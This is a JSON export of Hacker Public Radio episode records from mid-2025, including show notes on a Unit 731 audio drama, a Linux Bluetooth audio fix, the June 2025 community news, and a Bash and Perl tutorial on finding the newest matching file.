                                                            \n Civilization V, released in 2010, was a further evolution of the\n franchise that added interesting new features. We introduce it in\n this episode.

                                                            \n

                                                            \n Links:

                                                            \n \n


                                                            \n
                                                            \n

                                                            \n
                                                              \n
                                                            ","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization V","version":0,"downloads":0,"valid":1}, {"id":4411,"date":"2025-06-30","title":"The Pachli project","duration":4325,"summary":"Dave and Kevie interview Nik from the Pachli project","notes":"\n

                                                            \n In this episode \n Dave and \n Kevie chat with Nik from the \n Pachli project.  

                                                            \n

                                                            \n Pachli is a free/open-source Mastodon/Fediverse client for\n Android.

                                                            \n

                                                            \n We talk in depth about Nik's background, Pachli's name and origin,\n and the motivation for creating another client for the\n Fediverse. Also discussed is Pachli's association with the \n Nivenly Foundation\n , and how users and developers can contribute to the project as a\n whole.

                                                            \n

                                                            \n With thanks to Nik for his time and candor.

                                                            \n \n

                                                            \n
                                                            \n

                                                            ","hostid":314,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"pachli, interview, fediverse, development, developer","version":0,"downloads":0,"valid":1}, {"id":4412,"date":"2025-07-01","title":"Parkinson Tribly's Story: The Prisoner of Unit 731","duration":1214,"summary":"First 3 minutes: trailer; followed by the full show — an original audiodrama","notes":"\n

                                                            \n The program starts with a brief trailer, presenting the story,\n before starting the full audiodrama...

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n I hope you have a good show, thanks in advance for listening.\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n References (some):

                                                            \n

                                                            \n LIANG, Jiashuo. A History of Japan’s Unit 731 and Implications for\n Modern Biological Warfare. Advances in Social Science, Education\n and Humanities Research, v. 673. Atlantis Press, 2022.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n PBS. The Living Weapon: Shiro Ishii. Link: https://www.pbs.org/wgbh/americanexperience/features/weapon-biography-shiro-ishii.\n Accessed: January 2025.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n RIDER, Dwight R. Japan’s Biological and Chemical Weapons Programs;\n War Crimes and Atrocities – Who’s Who, What’s What, Where’s Where.\n 1928 – 1945. 3rd ed., 2018 [“In Process” version].

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n Credits of audio used — in order of appearance (or\n “listenance”):

                                                            \n

                                                            \n Kulakovka / Pixabay – Lost in Dreams (abstract chill downtempo\n cinematic future beats).

                                                            \n

                                                            \n BBC Sound Effects – Aircraft: Beaufighters - Take off. (Bristol\n Beaufighter, World War II); Army: Parade Ground Manoeuvres -\n Platoon strolls single-file on parade ground; Weather: Snow -\n Blizzard - heard inside house, with banging shutters; Footsteps In\n Snow - Footsteps in snow, 3 men departing; Water - Filling metal\n bucket from pond and pouring water on to concrete.

                                                            \n

                                                            \n florianreichelt / Freesound ¬– quick woosh.

                                                            \n

                                                            \n Thalamus_Lab / Freesound – Vertical Noise_Chinese Folk Duo Decay.

                                                            \n

                                                            \n neolein / Freesound – Mystic chinese guzheng.

                                                            \n

                                                            \n BBC Sound Effects again – World War 2 - Enemy artillery (World War\n II actuality) - 1975 (500S); Aircraft: Beaufighters - Exterior,\n steep climb. (Bristol Beaufighter, World War II).

                                                            \n

                                                            \n JamesFarrell_97 / Freesound – Game Theme.

                                                            \n

                                                            \n Luke100000 / Freesound – turning old pages.

                                                            \n

                                                            \n BBC Sound Effects – Sirens & Gunfire - World War II Air Raid\n Siren, German, all clear sounded.

                                                            \n

                                                            \n Gvidon / Pixabay – Spinning Head.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n * \n \n If you'd like the script to read\n (along with a few other things, like the Audacity\n project), you can obtain the text at the production's page on\n Archive.org: \nhttps://archive.org/details/the-prisioner-of-unit-731-audiodrama-final\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n * As a post-show extra: you can listen to \n \n the producer's motivation\n for producing this story on ep. 4313.

                                                            \n

                                                            \n hpr4313 :: Why I made a 1-episode podcast about a war story: \n https://hackerpublicradio.org/eps/hpr4313/index.html\n

                                                            ","hostid":441,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"audiodrama, Shiro Ishii, World War II, Unit 731, Kwangtung Army, podcast production","version":0,"downloads":0,"valid":1}, {"id":4413,"date":"2025-07-02","title":"KDE custom shortcuts are easy and useful","duration":274,"summary":"The episode describes how to access the custom shortcuts in KDE desktop things you can do.","notes":"\n

                                                            \nIf you go to the system settings in the main menu for KDE and scroll down, you can get to shortcuts and under shortcuts, there is a thing called custom shortcuts, and you can do anything you want in here.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n\"\"\n\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":425,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"kde, linux","version":0,"downloads":0,"valid":1}, {"id":4414,"date":"2025-07-03","title":"Bellroy Tech Kit Review","duration":582,"summary":"Kevie shares his thoughts on the Bellroy Tech Kit","notes":"\n

                                                            \nHaving purchased a new cable bag from Bellroy at the start of the year, Kevie shares his thoughts on the \nBellroy Travel Kit\n.

                                                            \n\n\n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"travel, bag","version":0,"downloads":0,"valid":1}, {"id":4415,"date":"2025-07-04","title":"Sony WH-CH700N A2DP stops working in Fedora","duration":646,"summary":"How months of troubleshooting came down to a comment in a forum","notes":"\n

                                                            \nAfter updating the firmware on my Sony Noise Cancelling Headset, and upgrading to \nFedora 40\n, my \nA2DP\n) profiles stopped working.

                                                            \n

                                                            \nI did a quick search and found someone with the same issue and it would be fixed in a Kernel upgrade. Common enough on a bleeding edge that is Fedora, however as the months moved on and the kernel upgraded, the problem remained.

                                                            \n

                                                            \nI tried to implement workarounds several times but eventually came across this passage from \nhank aka hankuoffroad on the Fedora Forums\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \nThis is a known behavior when using Bluetooth audio on Linux on hands-free mode: you cannot use A2DP for high-quality audio output while simultaneously using the Bluetooth microphone via HSP/HFP, due to profile limitations in the Bluetooth specification and current Linux audio stack.
                                                            \n

                                                            \nI knew this of course, but my \nSony WH-CH700N Wireless Noise Cancelling Headphones\n don't have a microphone. ... Hold on how does Noise Cancelling work exactly again ?

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \nActive noise control (ANC), also known as noise cancellation (NC), or active noise reduction (ANR), is a method for reducing unwanted sound by the addition of a second sound specifically designed to cancel the first
                                                            \n

                                                            \n\nWikipedia\n

                                                            \n

                                                            \nIf the first is the background noise, it needs a microphone to capture it so it can be inverted.

                                                            \n

                                                            \nAh ha...I had recently also disabled my \nZoom H2v2\n as it was now sometimes acting as a speaker.

                                                            \n

                                                            \nSo presumably pipewire tries to find any microphone on the system, when it cant find the best one it will resort to the one used for noise canceling in the headset.

                                                            \n

                                                            \nOnce the headset is been used for audio in as well, then there isn't enough bandwidth to do high definition audio, so you end up with the low quality two way profiles.

                                                            \n

                                                            \nWould the solution be as easy as enabling a proper microphone . . . .

                                                            \n\n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"WH-CH700N, A2DP, NoiseCancelling, Fedora","version":0,"downloads":0,"valid":1}, {"id":4416,"date":"2025-07-07","title":"HPR Community News for June 2025","duration":2799,"summary":"HPR Volunteers talk about shows released and comments posted in June 2025","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4391Mon2025-06-02HPR Community News for May 2025HPR Volunteers
                                                            4392Tue2025-06-03The Water is Wide, and the sheet music should be tooJezra
                                                            4393Wed2025-06-04Journal like you mean it.Some Guy On The Internet
                                                            4394Thu2025-06-05Digital Steganography Intromightbemike
                                                            4395Fri2025-06-06Second LifeLee
                                                            4396Mon2025-06-09AI and Sangriaoperat0r
                                                            4397Tue2025-06-10Transfer files from desktop to phone with qrcpKlaatu
                                                            4398Wed2025-06-11Command line fun: downloading a podcastKevie
                                                            4399Thu2025-06-12gpg-gen-keyoxo
                                                            4400Fri2025-06-13Isaac Asimov: Other Asimov Novels of InterestAhuka
                                                            4401Mon2025-06-16hajimeoxo
                                                            4402Tue2025-06-17pinetab2Brian in Ohio
                                                            4403Wed2025-06-18How to get your very own copy of the HPR databasenorrist
                                                            4404Thu2025-06-19Kevie nerd snipes Ken by grepping xmlKen Fallon
                                                            4405Fri2025-06-20What did I do at work today?Lee
                                                            4406Mon2025-06-23SVG Files: Cyber Threat Hidden in Imagesko3moc
                                                            4407Tue2025-06-24A 're-response' Bash scriptDave Morriss
                                                            4408Wed2025-06-25Lynx - Old School BrowsingKevie
                                                            4409Thu2025-06-26H D R Ridiculous Monitoroperat0r
                                                            4410Fri2025-06-27Civilization VAhuka
                                                            4411Mon2025-06-30The Pachli projectthelovebug
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 29 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 4 comments on\n3 previous shows:

                                                            \n
                                                              \n
                                                            • hpr4375\n(2025-05-09) \"Long Chain Carbons,Eggs and Dorodango?\"\nby operat0r.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nTorin Doyle on 2025-06-06:\n\"Reply to @Bob\"

                                                              \n
                                                            • hpr4378\n(2025-05-14) \"SQL to get the next_free_slot\"\nby norrist.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nTorin Doyle on 2025-06-12:\n\"Cheers for this.\"

                                                              \n
                                                            • hpr4388\n(2025-05-28) \"BSD Overview\"\nby norrist.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nHenrik Hemrin on 2025-06-02:\n\"Learned more about BSD.\"
                                                              • \n
                                                              • \nComment 5:\nnorrist on 2025-06-02:\n\"Additional info for OpenBSD Router\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 25 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr4391\n(2025-06-02) \"HPR Community News for May 2025\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTorin Doyle on 2025-06-06:\n\"Very disappointed.\"
                                                              • Comment 2:\nKen Fallon on 2025-06-06:\n\"Thanks for your feedback.\"
                                                              • Comment 3:\nTorin Doyle on 2025-06-09:\n\"Reply to Ken [Comment 2]\"
                                                              • Comment 4:\nnorrist on 2025-06-09:\n\"Watch the Queue for a show about how to find all the comments\"
                                                              • Comment 5:\nTorin Doyle on 2025-06-10:\n\"Comment #3 typo.\"
                                                              • Comment 6:\nTorin Doyle on 2025-06-11:\n\"Reply to Comment #4 by norrist\"
                                                              • Comment 7:\nTorin Doyle on 2025-06-11:\n\"Got the link.\"

                                                              \n
                                                            • hpr4394\n(2025-06-05) \"Digital Steganography Intro\"\nby mightbemike.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2025-06-05:\n\"Fascinating topic\"
                                                              • Comment 2:\noxo on 2025-06-05:\n\"Good show! \"

                                                              \n
                                                            • hpr4395\n(2025-06-06) \"Second Life\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAntoine on 2025-06-08:\n\"Brings philosophical thoughts\"

                                                              \n
                                                            • hpr4397\n(2025-06-10) \"Transfer files from desktop to phone with qrcp\"\nby Klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nLaindir on 2025-06-18:\n\"The perfect kind of recommendation\"

                                                              \n
                                                            • hpr4398\n(2025-06-11) \"Command line fun: downloading a podcast\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2025-06-11:\n\"Tempted to have fun\"
                                                              • Comment 2:\nKen Fallon on 2025-06-22:\n\"Personal message to redhat (nprfan)\"

                                                              \n
                                                            • hpr4403\n(2025-06-18) \"How to get your very own copy of the HPR database\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTorin Doyle on 2025-06-18:\n\"Appreciated!\"
                                                              • Comment 2:\nTorin Doyle on 2025-06-18:\n\"Database size.\"
                                                              • Comment 3:\nnorrist on 2025-06-18:\n\"Also an SQLite version\"
                                                              • Comment 4:\nTorin Doyle on 2025-06-25:\n\"Not able to use database to find my comments.\"

                                                              \n
                                                            • hpr4404\n(2025-06-19) \"Kevie nerd snipes Ken by grepping xml\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2025-06-22:\n\"More to digest\"
                                                              • Comment 2:\nAlec Bickerton on 2025-06-29:\n\"Shorter version\"
                                                              • Comment 3:\nAlec Bickerton on 2025-06-29:\n\"Shorter version\"
                                                              • Comment 4:\nAlec Bickerton on 2025-06-29:\n\"XML parsing without xmlstarlet\"

                                                              \n
                                                            • hpr4405\n(2025-06-20) \"What did I do at work today?\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2025-06-25:\n\"Thanks for bringing us along...\"

                                                              \n
                                                            • hpr4406\n(2025-06-23) \"SVG Files: Cyber Threat Hidden in Images\"\nby ko3moc.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\noxo on 2025-06-23:\n\"Interesting! \"
                                                              • Comment 2:\nko3moc on 2025-06-24:\n\"response \"

                                                              \n
                                                            • hpr4408\n(2025-06-25) \"Lynx - Old School Browsing\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2025-06-29:\n\"Review ALT texts\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mailing List\nwhich is open to all HPR listeners and contributors. The discussions are open\nand available on the HPR server under Mailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2025-June/thread.html\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4417,"date":"2025-07-08","title":"Newest matching file","duration":1322,"summary":"Writing a function or script to find a given file","notes":"\n
                                                            \n\n

                                                            \nOverview

                                                            \n\n

                                                            \nSeveral years ago I wrote a Bash script to perform a task I need to\nperform almost every day - find the newest file in a series of\nfiles.

                                                            \n\n

                                                            \nAt this point I was running a camera on a Raspberry Pi which was\nattached to a window and viewed my back garden. I was taking a picture\nevery 15 minutes, giving them names containing the date and time, and\nstoring them in a directory. It was useful to be able to display the\nlatest picture.

                                                            \n\n

                                                            \nSince then, I have found that searching for newest files useful in\nmany contexts:

                                                            \n\n
                                                              \n\n
                                                            • \n

                                                              \nFind the image generated by my random recipe chooser, put in the\nclipboard and send it to the Telegram channel for my family.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nGenerate a weather report from \nwttr.in\n and send it\nto Matrix.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nFind the screenshot I just made and put it in the\nclipboard.

                                                              \n
                                                            • \n\n
                                                            \n\n

                                                            \nOf course, I could just use the same name when writing these various\nfiles, rather than accumulating several, but I often want to look back\nthrough such collections. If I am concerned about such files\naccumulating in an unwanted way I write \ncron\n scripts which\nrun every day and delete the oldest ones.

                                                            \n\n

                                                            \nOriginal script

                                                            \n\n

                                                            \nThe first iteration of the script was actually written as a Bash\nfunction which was loaded at login time. The function is called\n\nnewest_matching_file\n and it takes two arguments:

                                                            \n\n
                                                              \n\n
                                                            • \n

                                                              \nA file glob expression to match the file I am looking\nfor.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nAn optional directory to look for the file. If this is omitted,\nthen the current directory will be used.

                                                              \n
                                                            • \n\n
                                                            \n\n

                                                            \nThe first version of this function was a bit awkward since it used a\n\nfor\n loop to scan the directory, using the glob pattern to\nfind the file. Since Bash glob pattern searches will return the search\npattern when they fail, it was necessary to use the\n\nnullglob\n (see references) option to prevent this, turning\nit on before the search and off afterwards.

                                                            \n\n

                                                            \nThis technique was replaced later with a pipeline using the\n\nfind\n command.

                                                            \n\n

                                                            \nImproved Bash script

                                                            \n\n

                                                            \nThe version using \nfind\n is what I will explain here.

                                                            \n\n
                                                            \n\nfunction newest_matching_file {\n    local glob_pattern=${1-}\n    local dir=${2:-$PWD}\n\n    # Argument number check\n    if [[ $# -eq 0 || $# -gt 2 ]]; then\n        echo 'Usage: newest_matching_file GLOB_PATTERN [DIR]' >&2\n        return 1\n    fi\n\n    # Check the target directory\n    if [[ ! -d $dir ]]; then\n        echo "Unable to find directory $dir" >&2\n        return 1\n    fi\n\n    local newest_file\n\n    # shellcheck disable=SC2016\n    newest_file=$(find "$dir" -maxdepth 1 -name "$glob_pattern" \\n        -type f -printf "%T@ %p\n" | sort | sed -ne '${s/.\+ //;p}')\n\n    # Use printf instead of echo in case the file name begins with '-'\n    [[ -n $newest_file ]] && printf '%s\n' "$newest_file"\n\n    return 0\n}\n
                                                            \n\n

                                                            \nThe function is in the file \nnewest_matching_file_1.sh\n,\nand it's loaded (\"sourced\", or declared) like this:

                                                            \n\n
                                                            \n\n. newest_matching_file_1.sh\n
                                                            \n\n

                                                            \nThe \n'.'\n is a short-hand version of the command\n\nsource\n.

                                                            \n\n

                                                            \nI actually have two versions of this function, with the second one\nusing a regular expression, which the \nfind\n command is able\nto search with, but I prefer this one.

                                                            \n\n

                                                            \nExplanation

                                                            \n\n
                                                              \n\n
                                                            • \n

                                                              \nThe first two lines beginning with \nlocal\n define\nvariables local to the function holding the arguments. The first,\n\nglob_pattern\n is expected to contain something like\n\nscreenshot_2025-04-*.png\n. The second will hold the\ndirectory to be scanned, or if omitted, will be set to the current\ndirectory.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nNext, an \nif\n statement checks that there are the\nright number of arguments, aborting if not. Note that the\n\necho\n command writes to STDERR (using\n\n'>&2'\n), the error channel.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nAnother \nif\n statement checks that the target\ndirectory actually exists, and aborts if not.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nAnother local variable \nnewest_file\n is defined. It's\ngood practice not to create global variables in functions since they\nwill \"leak\" into the calling environment.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nThe variable \nnewest_file\n is set to the result of a\ncommand substitution containing a pipeline:

                                                              \n\n
                                                                \n\n
                                                              • \nThe \nfind\n command searches the target directory.\n
                                                                  \n\n
                                                                • \nUsing \n-maxdepth 1\n limits the search to the chosen\ndirectory and does not descend into sub-directories.
                                                                • \n\n
                                                                • \nThe search pattern is defined by\n\n-name \"$glob_pattern\"\n
                                                                • \n\n
                                                                • \nUsing \n-type f\n limits the search to files
                                                                • \n\n
                                                                • \nThe \n-printf \"%T@ %p\n\"\n argument returns the file's last\nmodification time as the number of seconds since the Unix epoch\n\n'%T@'\n. This is a number which is larger if the file is\nolder. This is followed, after a space, by the full path to the file\n(\n'%p'\n), and a newline.
                                                                • \n\n
                                                                \n
                                                              • \n\n
                                                              • \nThe matching file names are sorted. Because each is preceded by a\nnumeric time value, they will be sorted in ascending order of age.
                                                              • \n\n
                                                              • \nFinally \nsed\n is used to return the last file in the\nsorted list with the program \n'${s/.\+ //;p}'\n:\n
                                                                  \n\n
                                                                • \nThe use of the \n-n\n option ensures that only lines which\nare explicitly printed will be shown.
                                                                • \n\n
                                                                • \nThe \nsed\n program looks for the last line (using\n\n'$'\n). When found the leading numeric time is removed with\n'\ns/.\+ //'\n and the result is printed (with\n\n'p'\n).
                                                                • \n\n
                                                                \n
                                                              • \n\n
                                                              • \nThe end result will either be the path to the newest file or nothing\n(because there was no match).
                                                              • \n\n
                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nThe expression \n'[[ -n $newest_file ]]'\n will be true\nif \n$newest_file\n variable is not empty, and if that is the\ncase, the contents of the variable will be printed on STDOUT, otherwise\nnothing will be printed.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nNote that the script returns 1 (false) if there is a failure, and\n0 (true) if all is well. A null return is regarded as success.

                                                              \n
                                                            • \n\n
                                                            \n\n

                                                            \nScript update

                                                            \n\n

                                                            \nWhile editing the audio for this show I realised that there is a flaw\nin the Bash function \nnewest_matching_file\n. This is in the\n\nsed\n script used to process the output from\n\nfind\n.

                                                            \n\n

                                                            \nThe \nsed\n commands used in the script delete all\ncharacters up to a space, assuming that this is the only space in the\nlast line. However, if the file name itself contains spaces, this will\nnot work because regular expressions in \nsed\n are\n\ngreedy\n. What is deleted in this case is everything up to and\nincluding the \nlast\n space.

                                                            \n\n

                                                            \nI created a directory called \ntests\n and added the\nfollowing files:

                                                            \n\n
                                                            \n\n'File 1 with spaces.txt'\n'File 2 with spaces.txt'\n'File 3 with spaces.txt'\n
                                                            \n\n

                                                            \nI then ran the \nfind\n command as follows:

                                                            \n\n
                                                            \n\n$ find tests -maxdepth 1 -name 'File*' -type f -printf "%T@ %p\n" | sort | sed -ne '${s/.\+ //;p}'\nspaces.txt\n
                                                            \n\n

                                                            \nI adjusted the \nsed\n call to\n\nsed -ne '${s/[^ ]\+ //;p}'\n. This uses the regular\nexpression:

                                                            \n\n
                                                            \n\ns/[^ ]\+ //\n
                                                            \n\n

                                                            \nThis now specifies that what it to be removed is every\n\nnon-space\n up to and including the first space. The result\nis:

                                                            \n\n
                                                            \n\n$ find tests -maxdepth 1 -name 'File*' -type f -printf "%T@ %p\n" | sort | sed -ne '${s/[^ ]\+ //;p}'\ntests/File 3 with spaces.txt\n
                                                            \n\n

                                                            \nThis change has been propagated to the copy on\n\nGitLab\n.

                                                            \n\n

                                                            \nUsage

                                                            \n\n

                                                            \nThis function is designed to be used in commands or other\nscripts.

                                                            \n\n

                                                            \nFor example, I have an alias defined as follows:

                                                            \n\n
                                                            \n\nalias copy_screenshot="xclip -selection clipboard -t image/png -i \$(newest_matching_file 'Screenshot_*.png' ~/Pictures/Screenshots/)"\n
                                                            \n\n

                                                            \nThis uses \nxclip\n to load the latest screenshot into the\nclipboard, so I can paste it into a social media client for example.

                                                            \n\n

                                                            \nPerl alternative

                                                            \n\n

                                                            \nDuring the history of this family of scripts I wrote a Perl version.\nThis was originally because the Bash function gave problems when run\nunder the Bourne shell, and I was using \npdmenu\n a lot which\ninternally runs scripts under that shell.

                                                            \n\n
                                                            \n\n#!/usr/bin/env perl\n\nuse v5.40;\n\nuse open ':std', ':encoding(UTF-8)';    # Make all IO UTF-8\n\nuse Cwd;\nuse File::Find::Rule;\n\n#\n# Script name\n#\n( my $PROG = $0 ) =~ s|.*/||mx;\n\n#\n# Use a regular expression rather than a glob pattern\n#\nmy $regex = shift;\n\n#\n# Get the directory to search, defaulting to the current one\n#\nmy $dir = shift // getcwd();\n\n#\n# Have to have the regular expression\n#\ndie "Usage: $PROG regex [DIR]\n" unless $regex;\n\n#\n# Collect all the files in the target directory without recursing. Include the\n# path and let the caller remove it if they want.\n#\nmy @files =  File::Find::Rule->file()\n    ->name(qr/$regex/)\n    ->maxdepth(1)\n    ->in($dir);\n\ndie "Unsuccessful search\n" unless @files;\n\n#\n# Sort the files by ascending modification time, youngest first\n#\n@files = sort {-M($a) <=> -M($b)} @files;\n\n#\n# Report the one which sorted first\n#\nsay $files[0];\n\nexit;\n
                                                            \n\n

                                                            \nExplanation

                                                            \n\n
                                                              \n\n
                                                            • \n

                                                              \nThis is fairly straightforward Perl script, run out of an\nexecutable file with a \nshebang\n line at the start indicating\nwhat is to be used to run it - \nperl\n.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nThe preamble defines the Perl version to use, and indicates that\n\nUTF-8\n (character sets like Unicode) will be acceptable for\nreading and writing.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nTwo modules are required:

                                                              \n\n
                                                                \n\n
                                                              • \n\nCwd\n: provides functions for determining the pathname of\nthe current working directory.
                                                              • \n\n
                                                              • \n\nFile::Find::Rule\n: provides tools for searching the file\nsystem (similar to the \nfind\n command, but with more\nfeatures).
                                                              • \n\n
                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nNext the variable \n$PROG\n is set to the name under\nwhich the script has been invoked. This is useful when giving a brief\nsummary of usage.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nThe first argument is then collected (with \nshift\n)\nand placed into the variable \n$regex\n.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nThe second argument is optional, but if omitted, is set to the\ncurrent working directory. We see the use of \nshift\n again,\nbut if this returns nothing (is undefined), the \n'//'\n\noperator invokes the \ngetcwd()\n function to get the current\nworking directory.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nIf the \n$regex\n variable is not defined, then\n\ndie\n is called to terminate the script with an error\nmessage.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nThe search itself is invoked using \nFile::Find::Rule\n\nand the results are added to the array \n@files\n. The\nmulti-line call shows several methods being called in a \"chain\" to\ndefine the rules and invoke the search:

                                                              \n\n
                                                                \n\n
                                                              • \n\nfile()\n: sets up a file search
                                                              • \n\n
                                                              • \n\nname(qr/$regex/)\n: a rule which applies a regular\nexpression match to each file name, rejecting any that do not match
                                                              • \n\n
                                                              • \n\nmaxdepth(1)\n: a rule which prevents the search from\ndescending below the top level into sub-directories
                                                              • \n\n
                                                              • \n\nin($dir)\n: defines the directory to search (and also\nbegins the search)
                                                              • \n\n
                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nIf the search returns no files (the array is empty), the script\nends with an error message.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nOtherwise the \n@files\n array is sorted. This is done\nby comparing modification times of the files, with the array being\nreordered such that the \"youngest\" (newest) file is sorted first. The\n\n<=>\n operator checks if the value of the left operand\nis greater than the value of the right operand, and if yes then the\ncondition becomes true. This operator is most useful in the Perl\n\nsort\n function.

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nFinally, the newest file is reported.

                                                              \n
                                                            • \n\n
                                                            \n\n

                                                            \nUsage

                                                            \n\n

                                                            \nThis script can be used in almost the same way as the Bash variant.\nThe difference is that the pattern used to match files is a Perl regular\nexpression. I keep this script in my \n~/bin\n directory, so it\ncan be invoked just by typing its name. I also maintain a symlink called\n\nnmf\n to save typing!

                                                            \n\n

                                                            \nThe above example, using the Perl version, would be:

                                                            \n\n
                                                            \n\nalias copy_screenshot="xclip -selection clipboard -t image/png -i \$(nmf 'Screenshot_.*\.png' ~/Pictures/Screenshots/)"\n
                                                            \n\n

                                                            \nIn regular expressions \n'.*'\n means \"any character zero or\nmore times\". The \n'.'\n in \n'.png'\n is escaped\nbecause we need an actual dot character.

                                                            \n\n

                                                            \nConclusion

                                                            \n\n

                                                            \nThe approach in both cases is fairly simple. Files matching a pattern\nare accumulated, in the Bash case including the modification time. The\nfiles are sorted by modification time and the one with the lowest time\nis the answer. The Bash version has to remove the modification time\nbefore printing.

                                                            \n\n

                                                            \nThis algorithm could be written in many ways. I will probably try\nrewriting it in other languages in the future, to see which one I think\nis best.

                                                            \n\n

                                                            \nReferences

                                                            \n\n
                                                              \n\n
                                                            • \nGlob expansion:\n
                                                                \n\n
                                                              • \n\nWikipedia\narticle on glob patterns\n
                                                              • \n\n
                                                              \n
                                                            • \n\n
                                                            \n\n
                                                              \n\n
                                                            • \nHPR shows covering \nglob\n expansion:\n
                                                                \n\n
                                                              • \n\nFinishing\noff the subject of expansion in Bash (part 1)\n
                                                              • \n\n
                                                              • \n\nFinishing\noff the subject of expansion in Bash (part 2)\n
                                                              • \n\n
                                                              \n
                                                            • \n\n
                                                            \n\n\n\n
                                                            \n\n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Bash,function,Perl,find","version":0,"downloads":0,"valid":1}, {"id":4418,"date":"2025-07-09","title":"My Desktop Applications","duration":856,"summary":"Kevie goes over his must have applications whenever he installs a new distro","notes":"\n

                                                            \n \n TuxJam co-host \n Kevie goes over the desktop applications that he currently\n uses, January 2025 at the time of recording. These include:

                                                            \n ","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux, desktop, applications","version":0,"downloads":0,"valid":1}, {"id":4419,"date":"2025-07-10","title":"YouTube Subscriptions 2025 #1","duration":972,"summary":"Part one of my list of subscribed channels","notes":"\n

                                                            \n I am subscribed to a number of YouTube channels, and I am sharing\n them with you.

                                                            \n

                                                            \n Links:

                                                            \n \n

                                                            \n
                                                            \n

